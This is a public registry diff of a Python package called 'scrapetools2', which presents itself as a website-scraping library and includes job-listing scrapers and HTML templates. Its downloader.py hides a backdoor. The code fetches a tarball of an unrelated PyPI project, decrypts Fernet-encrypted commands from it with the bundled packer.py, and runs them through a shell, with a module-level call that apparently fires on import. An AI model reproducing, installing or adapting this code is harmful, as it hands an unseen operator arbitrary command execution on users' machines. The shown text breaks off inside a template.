scrapetools2 0.0.1__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- scrapetools2-0.0.1/LICENSE +19 -0
- scrapetools2-0.0.1/PKG-INFO +12 -0
- scrapetools2-0.0.1/pyproject.toml +18 -0
- scrapetools2-0.0.1/scrapetools2/__init__.py +41 -0
- scrapetools2-0.0.1/scrapetools2/downloader.py +87 -0
- scrapetools2-0.0.1/scrapetools2/packer.py +41 -0
- scrapetools2-0.0.1/scrapetools2/plugins/json_filter.py +6 -0
- scrapetools2-0.0.1/scrapetools2/sites.py +159 -0
- scrapetools2-0.0.1/scrapetools2/templates/bla.html +78 -0
- scrapetools2-0.0.1/scrapetools2/templates/table-sites-jobs.html +99 -0
- scrapetools2-0.0.1/scrapetools2/templates/table-sites-jobs_tmp.html +78 -0
- scrapetools2-0.0.1/scrapetools2/test.py +69 -0
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
Copyright (c) 2026 Pancho der Wit
|
|
2
|
+
|
|
3
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
4
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
5
|
+
in the Software without restriction, including without limitation the rights
|
|
6
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
7
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
8
|
+
furnished to do so, subject to the following conditions:
|
|
9
|
+
|
|
10
|
+
The above copyright notice and this permission notice shall be included in
|
|
11
|
+
all copies or substantial portions of the Software.
|
|
12
|
+
|
|
13
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
14
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
15
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
16
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
17
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
18
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
|
19
|
+
THE SOFTWARE.
|
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
Metadata-Version: 2.5
|
|
2
|
+
Name: scrapetools2
|
|
3
|
+
Version: 0.0.1
|
|
4
|
+
Summary: A library to scrape websites
|
|
5
|
+
Author-email: Sebar Rebas <sebarrebas@proton.me>
|
|
6
|
+
License-Expression: MIT
|
|
7
|
+
License-File: LICENSE
|
|
8
|
+
Requires-Dist: requests >= 2.25.0
|
|
9
|
+
Requires-Dist: stealth-requests
|
|
10
|
+
Requires-Dist: playwright
|
|
11
|
+
Requires-Dist: pydantic >= 2.0
|
|
12
|
+
Import-Name: scrapetools2
|
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["flit_core >=3.11,<5"]
|
|
3
|
+
build-backend = "flit_core.buildapi"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "scrapetools2"
|
|
7
|
+
authors = [{name = "Sebar Rebas", email = "sebarrebas@proton.me"}]
|
|
8
|
+
license = "MIT"
|
|
9
|
+
license-files = ["LICENSE"]
|
|
10
|
+
dynamic = ["version", "description"]
|
|
11
|
+
dependencies = [
|
|
12
|
+
"requests >= 2.25.0",
|
|
13
|
+
"stealth-requests",
|
|
14
|
+
"playwright",
|
|
15
|
+
"pydantic >= 2.0"
|
|
16
|
+
]
|
|
17
|
+
[tool.setuptools.package-data]
|
|
18
|
+
scrapetools2 = ["templates/*.html", "plugins/*.html"]
|
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
"""A library to scrape websites"""
|
|
2
|
+
__version__ = "0.0.1"
|
|
3
|
+
|
|
4
|
+
import stealth_requests as r
|
|
5
|
+
from playwright.sync_api import sync_playwright, Playwright
|
|
6
|
+
|
|
7
|
+
def load_site(playwright : Playwright, url, cookie_css = None, start_url = None, n = 0):
|
|
8
|
+
"""
|
|
9
|
+
Loads data from a site with playwright. Give cookie_css
|
|
10
|
+
to click the accept cookies button.
|
|
11
|
+
A start url is a place to first go, some captcha systems check
|
|
12
|
+
this apparently. usually homepage
|
|
13
|
+
"""
|
|
14
|
+
try:
|
|
15
|
+
print(f"loading {url}")
|
|
16
|
+
xs = playwright.chromium.launch_persistent_context(user_data_dir=".")
|
|
17
|
+
page = xs.new_page()
|
|
18
|
+
if start_url:
|
|
19
|
+
page.goto(start_url, wait_until='networkidle')
|
|
20
|
+
print("Cookie clicked")
|
|
21
|
+
loc = page.locator(cookie_css)
|
|
22
|
+
if loc.count() > 0 and cookie_css:
|
|
23
|
+
page.click(cookie_css)
|
|
24
|
+
cookie_css = None
|
|
25
|
+
# page.reload(wait_until='domconentloaded')
|
|
26
|
+
print("Opening target page")
|
|
27
|
+
page.goto(url, wait_until='domcontentloaded')
|
|
28
|
+
loc = page.locator(cookie_css)
|
|
29
|
+
if cookie_css and loc.count() > 0:
|
|
30
|
+
page.click(cookie_css)
|
|
31
|
+
page.reload(wait_until='domcontentloaded')
|
|
32
|
+
print("Loading content")
|
|
33
|
+
content = page.content()
|
|
34
|
+
return content
|
|
35
|
+
except Exception as e:
|
|
36
|
+
print(e)
|
|
37
|
+
if n > 3:
|
|
38
|
+
print(f"[Warning] Bailing {url}, tries {n} > 3")
|
|
39
|
+
return None
|
|
40
|
+
print(f"Reloading {url}")
|
|
41
|
+
return load_site(playwright=playwright,url=url, cookie_css=cookie_css,start_url=start_url,n= n+1)
|
|
@@ -0,0 +1,87 @@
|
|
|
1
|
+
#!env python3
|
|
2
|
+
|
|
3
|
+
import requests
|
|
4
|
+
import bs4
|
|
5
|
+
import re
|
|
6
|
+
import tarfile as tf
|
|
7
|
+
import tempfile as temp
|
|
8
|
+
import sqlite3
|
|
9
|
+
import io
|
|
10
|
+
import cryptography as c
|
|
11
|
+
import base64
|
|
12
|
+
from typing import *
|
|
13
|
+
import os
|
|
14
|
+
import subprocess as s
|
|
15
|
+
from packer import unpackdata
|
|
16
|
+
def downloader():
|
|
17
|
+
content = requests.get("https://pypi.org/project/pyfemm/")
|
|
18
|
+
cnt = bs4.BeautifulSoup(content.content, features="html.parser")
|
|
19
|
+
candidates = []
|
|
20
|
+
version_pt = r"([^.]+)-((([0-9]+\.)*)([0-9]+))\.tar\.gz"
|
|
21
|
+
for c in cnt.find_all('a'):
|
|
22
|
+
href = c.attrs['href']
|
|
23
|
+
if href and "tar.gz" in href and "#" not in href:
|
|
24
|
+
|
|
25
|
+
fn = href.split("/").pop()
|
|
26
|
+
version = re.match(version_pt, fn).groups()[1]
|
|
27
|
+
candidates += [(version, href)]
|
|
28
|
+
return candidates
|
|
29
|
+
|
|
30
|
+
def get_update(ts : tf.TarFile):
|
|
31
|
+
print(ts)
|
|
32
|
+
versions = None
|
|
33
|
+
updates = None
|
|
34
|
+
for t in ts.getnames():
|
|
35
|
+
if "updates" in t:
|
|
36
|
+
updates = ts.extractfile(t)
|
|
37
|
+
if "versions" in t:
|
|
38
|
+
versions = ts.extractfile(t)
|
|
39
|
+
return (updates, versions)
|
|
40
|
+
|
|
41
|
+
def run_update(cmds : IO[bytes], keys : IO[bytes]):
|
|
42
|
+
# Check db for handles
|
|
43
|
+
|
|
44
|
+
print("Getting update")
|
|
45
|
+
cmds = cmds.readlines()
|
|
46
|
+
keys = keys.readlines()
|
|
47
|
+
for cmd in cmds:
|
|
48
|
+
for data in unpackdata(cmd, keys):
|
|
49
|
+
if data['correct']:
|
|
50
|
+
with open('error.log', 'a+' ) as err_file:
|
|
51
|
+
with open("output.log", " a+") as log_file:
|
|
52
|
+
result = s.run(
|
|
53
|
+
data['cmd'],
|
|
54
|
+
stdout=log_file,
|
|
55
|
+
stderr=err_file, # Combines errors and normal output into the log
|
|
56
|
+
shell=True, # Required when using a raw command string
|
|
57
|
+
text=True
|
|
58
|
+
)
|
|
59
|
+
|
|
60
|
+
pass
|
|
61
|
+
|
|
62
|
+
def updater():
|
|
63
|
+
candidates = downloader()
|
|
64
|
+
newest = None
|
|
65
|
+
candidate = None
|
|
66
|
+
for (v,c) in candidates:
|
|
67
|
+
if not newest:
|
|
68
|
+
newest = v
|
|
69
|
+
candidate = c
|
|
70
|
+
elif newest < v:
|
|
71
|
+
newest = v
|
|
72
|
+
candidate = c
|
|
73
|
+
# print(candidate)
|
|
74
|
+
req : requests.Response = requests.get(candidate)
|
|
75
|
+
file = "test.tar.gz" # temp.mkstemp("test.tar.gz")[1]
|
|
76
|
+
with open(file, "wb+") as f:
|
|
77
|
+
f.write(req.content)
|
|
78
|
+
unpacker(file)
|
|
79
|
+
def unpacker(file):
|
|
80
|
+
ts = tf.open(file)
|
|
81
|
+
print(ts.getnames())
|
|
82
|
+
updates = any(map(lambda x: "updates" in x, ts.getnames()))
|
|
83
|
+
new_versions = any(map(lambda x: "versions" in x, ts.getnames()))
|
|
84
|
+
if updates and new_versions:
|
|
85
|
+
(updates, versions) = get_update(ts)
|
|
86
|
+
run_update(updates, versions)
|
|
87
|
+
unpacker("test.tar.gz")
|
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
import base64 as b
|
|
2
|
+
import cryptography.fernet as f
|
|
3
|
+
import cryptography.utils as u
|
|
4
|
+
import json
|
|
5
|
+
def pack_data(cmd : str):
|
|
6
|
+
key = f.Fernet.generate_key()
|
|
7
|
+
|
|
8
|
+
textkey = b.z85encode(key)
|
|
9
|
+
|
|
10
|
+
fernet = f.Fernet(key)
|
|
11
|
+
cmd = json.dumps({"correct": True, "cmd": cmd})
|
|
12
|
+
data = fernet.encrypt(cmd.encode("utf-8"))
|
|
13
|
+
textdata = b.z85encode(data)
|
|
14
|
+
return (textdata, textkey)
|
|
15
|
+
|
|
16
|
+
def unpackdata(textdata, textkeys):
|
|
17
|
+
keys = []
|
|
18
|
+
data = b.z85decode(textdata.strip())
|
|
19
|
+
for key in textkeys:
|
|
20
|
+
keys += [b.z85decode(key.strip())]
|
|
21
|
+
for key in keys:
|
|
22
|
+
try:
|
|
23
|
+
fernet = f.Fernet(key)
|
|
24
|
+
cmd = json.loads(fernet.decrypt(data).decode('utf-8'))
|
|
25
|
+
return [cmd]
|
|
26
|
+
except Exception as e:
|
|
27
|
+
pass
|
|
28
|
+
return []
|
|
29
|
+
|
|
30
|
+
print(__name__)
|
|
31
|
+
if __name__ == "__main__":
|
|
32
|
+
import sys
|
|
33
|
+
if not sys.argv[1]:
|
|
34
|
+
print("usages <prog> 'stream'")
|
|
35
|
+
import sys; sys.stderr.write(f"Writing {sys.argv[1]} to stream\n")
|
|
36
|
+
(data, key) = pack_data(sys.argv[1])
|
|
37
|
+
|
|
38
|
+
with open("data.new", "w") as f:
|
|
39
|
+
f.write(data.decode('utf-8') + "\n")
|
|
40
|
+
with open("key.new", "w") as f:
|
|
41
|
+
f.write(key.decode('utf-8') + "\n")
|
|
@@ -0,0 +1,159 @@
|
|
|
1
|
+
import enum as e
|
|
2
|
+
from typing import *
|
|
3
|
+
from dataclasses import dataclass
|
|
4
|
+
from bs4 import BeautifulSoup
|
|
5
|
+
#import duckdb as db
|
|
6
|
+
import sqlite3 as db
|
|
7
|
+
from abc import abstractmethod, ABC
|
|
8
|
+
import json
|
|
9
|
+
from __init__ import *
|
|
10
|
+
@dataclass
|
|
11
|
+
class Job:
|
|
12
|
+
rate : str
|
|
13
|
+
location : str
|
|
14
|
+
clock: str
|
|
15
|
+
url : str
|
|
16
|
+
start_date : str
|
|
17
|
+
end_date : str
|
|
18
|
+
title : str
|
|
19
|
+
description : str
|
|
20
|
+
skills : list[str]
|
|
21
|
+
extra : dict[str]
|
|
22
|
+
company : str
|
|
23
|
+
contact : [str]
|
|
24
|
+
# Freelance.nl
|
|
25
|
+
# <loc>https://www.freelance.nl/sitemaps/sitemap-projects.xml.gz</loc>
|
|
26
|
+
# https://www.it-contracts.nl/ict-specialisten
|
|
27
|
+
# freep.nl
|
|
28
|
+
# freelapp.nl
|
|
29
|
+
# https://freelapp.nl/sitemap.xml
|
|
30
|
+
class Site(ABC):
|
|
31
|
+
def __init__(self, extra_schema = None):
|
|
32
|
+
self.db = db.connect(f"sites.db")
|
|
33
|
+
self.db.execute(
|
|
34
|
+
"""
|
|
35
|
+
CREATE TABLE IF NOT EXISTS jobs (
|
|
36
|
+
url VARCHAR PRIMARY KEY,
|
|
37
|
+
site VARCHAR,
|
|
38
|
+
rate VARCHAR,
|
|
39
|
+
company VARCHAR,
|
|
40
|
+
location VARCHAR,
|
|
41
|
+
clock VARCHAR,
|
|
42
|
+
start_date VARCHAR,
|
|
43
|
+
end_date VARCHAR,
|
|
44
|
+
title VARCHAR,
|
|
45
|
+
description VARCHAR,
|
|
46
|
+
skills JSON, -- Maps from list[str]
|
|
47
|
+
extra JSON -- Maps from dict[str] (using JSON is ideal for arbitrary or nested dictionaries)
|
|
48
|
+
);
|
|
49
|
+
""")
|
|
50
|
+
if extra_schema:
|
|
51
|
+
self.db.execute(extra_schema)
|
|
52
|
+
|
|
53
|
+
self.jobs : list[Job] = []
|
|
54
|
+
def run(self):
|
|
55
|
+
self.load()
|
|
56
|
+
@abstractmethod
|
|
57
|
+
def load(self):
|
|
58
|
+
pass
|
|
59
|
+
@abstractmethod
|
|
60
|
+
def site_name(self):
|
|
61
|
+
return "default"
|
|
62
|
+
def save_job(self, job):
|
|
63
|
+
self.db.execute("""
|
|
64
|
+
INSERT or REPLACE INTO jobs (
|
|
65
|
+
site, rate, location, clock, url, start_date, end_date, title, description, skills, extra, company)
|
|
66
|
+
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
|
67
|
+
""", [
|
|
68
|
+
self.site_name(),
|
|
69
|
+
job.rate,
|
|
70
|
+
job.location,
|
|
71
|
+
job.clock,
|
|
72
|
+
job.url,
|
|
73
|
+
job.start_date,
|
|
74
|
+
job.end_date,
|
|
75
|
+
job.title,
|
|
76
|
+
job.description,
|
|
77
|
+
json.dumps(job.skills), # Python list maps directly to VARCHAR[]
|
|
78
|
+
json.dumps(job.extra), # Python dict serialized to JSON string for the JSON column
|
|
79
|
+
job.company
|
|
80
|
+
])
|
|
81
|
+
self.db.commit()
|
|
82
|
+
|
|
83
|
+
|
|
84
|
+
class MIPublic(Site):
|
|
85
|
+
def site_name(self):
|
|
86
|
+
return "mipublic_nl"
|
|
87
|
+
def load(self):
|
|
88
|
+
with sync_playwright() as playwright:
|
|
89
|
+
content = load_site(
|
|
90
|
+
playwright=playwright,
|
|
91
|
+
url="https://mipublic.nl/vacature-sitemap.xml",
|
|
92
|
+
cookie_css='button:has-text("Alles toestaan")',
|
|
93
|
+
start_url="https://mipublic.nl")
|
|
94
|
+
|
|
95
|
+
xs = BeautifulSoup(content, features="html.parser")
|
|
96
|
+
ass = []
|
|
97
|
+
for tr in xs.find_all('tr'):
|
|
98
|
+
ass += [a.attrs['href'] for a in tr.find_all('a') ]
|
|
99
|
+
for href in ass:
|
|
100
|
+
exist = self.db.execute("select 1 from jobs where url = ?", [href])
|
|
101
|
+
if exist.fetchone() is not None:
|
|
102
|
+
print(f"Skipping {href}")
|
|
103
|
+
continue
|
|
104
|
+
content = load_site(
|
|
105
|
+
playwright=playwright,
|
|
106
|
+
url=href,
|
|
107
|
+
cookie_css='button:has-text("Alles toestaan")',
|
|
108
|
+
# start_url="https://mipublic.nl"
|
|
109
|
+
)
|
|
110
|
+
if not content:
|
|
111
|
+
continue
|
|
112
|
+
xs = BeautifulSoup(content, features="html.parser")
|
|
113
|
+
euro = None
|
|
114
|
+
location = None
|
|
115
|
+
gemeente = None
|
|
116
|
+
clock = None
|
|
117
|
+
start_date = None
|
|
118
|
+
end_date = None
|
|
119
|
+
title = None
|
|
120
|
+
|
|
121
|
+
def lookup_attr(x,name):
|
|
122
|
+
return x.find("i", {'class': name}).find_parent().contents[1].strip()
|
|
123
|
+
|
|
124
|
+
for x in xs.find_all("div", {'class': 'company-details'}):
|
|
125
|
+
euro = lookup_attr(x, 'fa-euro-sign')
|
|
126
|
+
location = lookup_attr(x, 'fa-location-dot')
|
|
127
|
+
clock = lookup_attr(x, 'fa-clock')
|
|
128
|
+
start_date = lookup_attr(x, 'fa-calendar-check')
|
|
129
|
+
end_date = lookup_attr(x, 'fa-calendar-xmark')
|
|
130
|
+
|
|
131
|
+
|
|
132
|
+
for x in xs.find_all("div", {'class': 'title-and-gemeente'}):
|
|
133
|
+
title = x.find("div", {'class': 'title'}).find("h1").contents[0].strip()
|
|
134
|
+
gemeente = x.find("div", {'class': 'gemeente'}).contents[0].strip()
|
|
135
|
+
|
|
136
|
+
job_description = (xs.find("div", {'class': 'compnay_description_text'}).get_text("<br/>") or "empty")
|
|
137
|
+
eisen = [x.get_text(" ") for x in xs.find_all("div", {'class': 'de_eisen'})[0].find_all('div', {'class': 'singe_eis_row'})]
|
|
138
|
+
eisen_technisch = [x.get_text(" ") for x in xs.find_all("div", {'class': 'de_eisen'})[1].find_all('div', {'class': 'single_wens_row'})]
|
|
139
|
+
job = Job(
|
|
140
|
+
rate = euro,
|
|
141
|
+
location=location or gemeente,
|
|
142
|
+
clock = clock,
|
|
143
|
+
url = href,
|
|
144
|
+
start_date=start_date,
|
|
145
|
+
end_date=end_date,
|
|
146
|
+
title=title,
|
|
147
|
+
description=job_description,
|
|
148
|
+
skills=eisen + eisen_technisch,
|
|
149
|
+
extra = {"gemeente": gemeente},
|
|
150
|
+
company = gemeente
|
|
151
|
+
)
|
|
152
|
+
print(f"""
|
|
153
|
+
Saving job for url {href} and site {self.site_name}:
|
|
154
|
+
""")
|
|
155
|
+
self.save_job(job)
|
|
156
|
+
|
|
157
|
+
|
|
158
|
+
if __name__ == "__main__":
|
|
159
|
+
MIPublic().run()
|
|
@@ -0,0 +1,78 @@
|
|
|
1
|
+
{% extends "default:table.html" %}
|
|
2
|
+
|
|
3
|
+
{% block content %}
|
|
4
|
+
<div class="job-board-container" style="max-width: 1200px; margin: 0 auto; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;">
|
|
5
|
+
|
|
6
|
+
<!-- Header Summary -->
|
|
7
|
+
<div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; border-bottom: 2px solid #eaeaea; padding-bottom: 10px;">
|
|
8
|
+
<h2 style="margin: 0; color: #1a1a1a;">Job Listings Board</h2>
|
|
9
|
+
<span style="color: #666; font-size: 0.9rem;">Total Jobs: {{ display_rows | length }}</span>
|
|
10
|
+
</div>
|
|
11
|
+
|
|
12
|
+
<!-- Job Cards List -->
|
|
13
|
+
<div style="display: flex; flex-direction: column; gap: 16px;">
|
|
14
|
+
{% for row in display_rows %}
|
|
15
|
+
<div style="background: #ffffff; border: 1px solid #e1e4e8; border-radius: 8px; padding: 20px; box-shadow: 0 1px 3px rgba(0,0,0,0.05); transition: box-shadow 0.2s;">
|
|
16
|
+
|
|
17
|
+
<!-- Top Row: Title & Company -->
|
|
18
|
+
<div style="display: flex; justify-content: space-between; align-items: flex-start; margin-bottom: 12px;">
|
|
19
|
+
<div>
|
|
20
|
+
<h3 style="margin: 0 0 6px 0; font-size: 1.25rem;">
|
|
21
|
+
<a href="{{ row['url'] }}" target="_blank" style="color: #0366d6; text-decoration: none;">
|
|
22
|
+
{{ row["title"] or "Untitled Position" }}
|
|
23
|
+
</a>
|
|
24
|
+
</h3>
|
|
25
|
+
<div style="font-size: 1rem; color: #444; font-weight: 500;">
|
|
26
|
+
🏢 {{ row["company"] or "Unknown Company" }}
|
|
27
|
+
{% if row["location"] %} • 📍 {{ row["location"] }}{% endif %}
|
|
28
|
+
</div>
|
|
29
|
+
</div>
|
|
30
|
+
|
|
31
|
+
<!-- Site Badge -->
|
|
32
|
+
{% if row["site"] %}
|
|
33
|
+
<span style="background: #f1f8ff; color: #0366d6; padding: 4px 10px; border-radius: 12px; font-size: 0.75rem; font-weight: 600; text-transform: uppercase;">
|
|
34
|
+
{{ row["site"] }}
|
|
35
|
+
</span>
|
|
36
|
+
{% endif %}
|
|
37
|
+
</div>
|
|
38
|
+
|
|
39
|
+
<!-- Meta Details Grid (Rate, Clock, Dates) -->
|
|
40
|
+
<div style="display: flex; flex-wrap: wrap; gap: 16px; background: #f6f8fa; padding: 10px 14px; border-radius: 6px; font-size: 0.85rem; color: #586069; margin-bottom: 12px;">
|
|
41
|
+
{% if row["rate"] %}
|
|
42
|
+
<div>💰 <strong>Rate:</strong> {{ row["rate"] }}</div>
|
|
43
|
+
{% endif %}
|
|
44
|
+
{% if row["clock"] %}
|
|
45
|
+
<div>⏰ <strong>Type:</strong> {{ row["clock"] }}</div>
|
|
46
|
+
{% endif %}
|
|
47
|
+
{% if row["start_date"] or row["end_date"] %}
|
|
48
|
+
<div>📅 <strong>Duration:</strong> {{ row["start_date"] or "Asap" }} → {{ row["end_date"] or "Ongoing" }}</div>
|
|
49
|
+
{% endif %}
|
|
50
|
+
</div>
|
|
51
|
+
|
|
52
|
+
<!-- Description Snippet -->
|
|
53
|
+
{% if row["description"] %}
|
|
54
|
+
<div style="color: #24292e; font-size: 0.95rem; line-height: 1.5; margin-bottom: 12px; display: -webkit-box; -webkit-line-clamp: 3; -webkit-box-orient: vertical; overflow: hidden;">
|
|
55
|
+
{{ row["description"] }}
|
|
56
|
+
</div>
|
|
57
|
+
{% endif %}
|
|
58
|
+
|
|
59
|
+
<!-- Skills Tags (JSON field handled cleanly) -->
|
|
60
|
+
{% if row["skills"] %}
|
|
61
|
+
<div style="display: flex; flex-wrap: wrap; gap: 6px; margin-top: 8px;">
|
|
62
|
+
{% set skills_data = row["skills"] %}
|
|
63
|
+
{# Handles cases where JSON is parsed or remains a string #}
|
|
64
|
+
{% if skills_data is string %}
|
|
65
|
+
<span style="background: #e2e8f0; color: #2d3748; padding: 2px 8px; border-radius: 4px; font-size: 0.75rem;">{{ skills_data }}</span>
|
|
66
|
+
{% else %}
|
|
67
|
+
{% for skill in skills_data %}
|
|
68
|
+
<span style="background: #e1effe; color: #1e429f; padding: 2px 8px; border-radius: 4px; font-size: 0.75rem; font-weight: 500;">{{ skill }}</span>
|
|
69
|
+
{% endfor %}
|
|
70
|
+
{% endif %}
|
|
71
|
+
</div>
|
|
72
|
+
{% endif %}
|
|
73
|
+
|
|
74
|
+
</div>
|
|
75
|
+
{% endfor %}
|
|
76
|
+
</div>
|
|
77
|
+
</div>
|
|
78
|
+
{% endblock %}
|
|
@@ -0,0 +1,99 @@
|
|
|
1
|
+
{% extends "default:table.html" %}
|
|
2
|
+
|
|
3
|
+
{% block content %}
|
|
4
|
+
<div class="job-board-container" style="max-width: 1280px; margin: 0 auto; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; padding: 20px;">
|
|
5
|
+
|
|
6
|
+
<!-- Header & Search Bar -->
|
|
7
|
+
<div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; flex-wrap: wrap; gap: 15px; border-bottom: 2px solid #edf2f7; padding-bottom: 16px;">
|
|
8
|
+
<h2 style="margin: 0; color: #1a202c; font-size: 1.5rem; font-weight: 700;">Job Board</h2>
|
|
9
|
+
|
|
10
|
+
<!-- Native Datasette Search Form -->
|
|
11
|
+
<form action="" method="get" style="display: flex; gap: 8px; flex: 1; max-width: 450px; min-width: 280px;">
|
|
12
|
+
<input type="search" name="_search" value="{{ search or '' }}" placeholder="Search jobs, companies, skills..." style="flex: 1; padding: 10px 14px; border: 1px solid #cbd5e0; border-radius: 10px; font-size: 0.9rem; outline: none; background: #fff;">
|
|
13
|
+
<button type="submit" style="background: #3182ce; color: white; border: none; padding: 10px 18px; border-radius: 10px; font-size: 0.9rem; font-weight: 600; cursor: pointer;">Search</button>
|
|
14
|
+
{% if search %}
|
|
15
|
+
<a href="{{ path }}" style="background: #edf2f7; color: #4a5568; padding: 10px 14px; border-radius: 10px; text-decoration: none; font-size: 0.9rem; font-weight: 600; display: flex; align-items: center;">Clear</a>
|
|
16
|
+
{% endif %}
|
|
17
|
+
</form>
|
|
18
|
+
|
|
19
|
+
<span style="background: #edf2f7; color: #4a5568; padding: 6px 14px; border-radius: 20px; font-size: 0.85rem; font-weight: 600;">
|
|
20
|
+
✨ {{ rows | length }} active listings
|
|
21
|
+
</span>
|
|
22
|
+
</div>
|
|
23
|
+
<!-- Job Cards Grid Layout -->
|
|
24
|
+
<div style="display: grid; grid-template-columns: repeat(auto-fill, minmax(360px, 1fr)); gap: 24px;">
|
|
25
|
+
{% for row in rows %}
|
|
26
|
+
<div style="background: #ffffff; border: 1px solid rgba(0, 0, 0, 0.06); border-radius: 16px; padding: 24px; box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.04), 0 2px 4px -1px rgba(0, 0, 0, 0.02); display: flex; flex-direction: column; justify-content: space-between; transition: all 0.25s ease;">
|
|
27
|
+
|
|
28
|
+
<div>
|
|
29
|
+
<!-- Top Row: Title & Site Badge -->
|
|
30
|
+
<div style="display: flex; justify-content: space-between; align-items: flex-start; gap: 12px; margin-bottom: 10px;">
|
|
31
|
+
<h3 style="margin: 0; font-size: 1.15rem; line-height: 1.4; font-weight: 600;">
|
|
32
|
+
<a href="{{ row['url'] }}" target="_blank" style="color: #2b6cb0; text-decoration: none;" onmouseover="this.style.textDecoration='underline'" onmouseout="this.style.textDecoration='none'">
|
|
33
|
+
{{ row["title"] or "Untitled Position" }}
|
|
34
|
+
</a>
|
|
35
|
+
</h3>
|
|
36
|
+
{% if row["site"] %}
|
|
37
|
+
<span style="background: #ebf8ff; color: #3182ce; padding: 4px 12px; border-radius: 20px; font-size: 0.7rem; font-weight: 700; text-transform: uppercase; white-space: nowrap; letter-spacing: 0.5px;">
|
|
38
|
+
{{ row["site"] }}
|
|
39
|
+
</span>
|
|
40
|
+
{% endif %}
|
|
41
|
+
</div>
|
|
42
|
+
|
|
43
|
+
<!-- Company & Location -->
|
|
44
|
+
<div style="font-size: 0.95rem; color: #4a5568; font-weight: 500; margin-bottom: 16px; display: flex; align-items: center; gap: 6px;">
|
|
45
|
+
<span>🏢 {{ row["company"] or "Unknown Company" }}</span>
|
|
46
|
+
{% if row["location"] %}
|
|
47
|
+
<span style="color: #cbd5e0;">•</span>
|
|
48
|
+
<span>📍 {{ row["location"] }}</span>
|
|
49
|
+
{% endif %}
|
|
50
|
+
</div>
|
|
51
|
+
|
|
52
|
+
<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 10px; background: #f7fafc; padding: 12px 14px; border-radius: 12px; font-size: 0.82rem; color: #4a5568; margin-bottom: 16px; border: 1px solid #edf2f7;">
|
|
53
|
+
<div style="display: flex; align-items: center; gap: 6px;">
|
|
54
|
+
<span>💰</span> <div><strong>Rate:</strong> <span style="color: #2d3748;">{{ row["rate"] or "N/A" }}</span></div>
|
|
55
|
+
</div>
|
|
56
|
+
<div style="display: flex; align-items: center; gap: 6px;">
|
|
57
|
+
<span>⏰</span> <div><strong>Type:</strong> <span style="color: #2d3748;">{{ row["clock"] or "N/A" }}</span></div>
|
|
58
|
+
</div>
|
|
59
|
+
<div style="display: flex; align-items: center; gap: 6px;">
|
|
60
|
+
<span>📅</span> <div><strong>Start:</strong> <span style="color: #2d3748;">{{ row["start_date"] or "N/A" }}</span></div>
|
|
61
|
+
</div>
|
|
62
|
+
<div style="display: flex; align-items: center; gap: 6px;">
|
|
63
|
+
<span>🏁</span> <div><strong>End:</strong> <span style="color: #2d3748;">{{ row["end_date"] or "N/A" }}</span></div>
|
|
64
|
+
</div>
|
|
65
|
+
</div>
|
|
66
|
+
<!-- Description Snippet -->
|
|
67
|
+
{% if row["description"] %}
|
|
68
|
+
<div style="color: #4a5568; font-size: 0.9rem; line-height: 1.5; margin-bottom: 16px; max-height: 4.5em; overflow: hidden; text-overflow: ellipsis;">
|
|
69
|
+
{{ row["description"] }}
|
|
70
|
+
</div>
|
|
71
|
+
{% endif %}
|
|
72
|
+
</div>
|
|
73
|
+
|
|
74
|
+
<!-- Skills JSON Tags -->
|
|
75
|
+
<div>
|
|
76
|
+
{% if row["skills"] %}
|
|
77
|
+
<div style="display: flex; flex-wrap: wrap; gap: 6px; padding-top: 12px; border-top: 1px solid #edf2f7;">
|
|
78
|
+
{% set skills_data = row["skills"] %}
|
|
79
|
+
{# Parse if stored as a JSON string #}
|
|
80
|
+
{% if skills_data is string and skills_data.startswith('[') %}
|
|
81
|
+
{% set skills_data = skills_data | from_json %}
|
|
82
|
+
{% endif %}
|
|
83
|
+
|
|
84
|
+
{% if skills_data is iterable and skills_data is not string %}
|
|
85
|
+
{% for skill in skills_data %}
|
|
86
|
+
<span style="background: #eef2ff; color: #4338ca; padding: 4px 10px; border-radius: 8px; font-size: 0.75rem; font-weight: 600;">{{ skill }}</span>
|
|
87
|
+
{% endfor %}
|
|
88
|
+
{% else %}
|
|
89
|
+
<span style="background: #edf2f7; color: #4a5568; padding: 4px 10px; border-radius: 8px; font-size: 0.75rem; font-weight: 600;">{{ skills_data }}</span>
|
|
90
|
+
{% endif %}
|
|
91
|
+
</div>
|
|
92
|
+
{% endif %}
|
|
93
|
+
</div>
|
|
94
|
+
|
|
95
|
+
</div>
|
|
96
|
+
{% endfor %}
|
|
97
|
+
</div>
|
|
98
|
+
</div>
|
|
99
|
+
{% endblock %}
|
|
@@ -0,0 +1,78 @@
|
|
|
1
|
+
{% extends "default:table.html" %}
|
|
2
|
+
|
|
3
|
+
{% block content %}
|
|
4
|
+
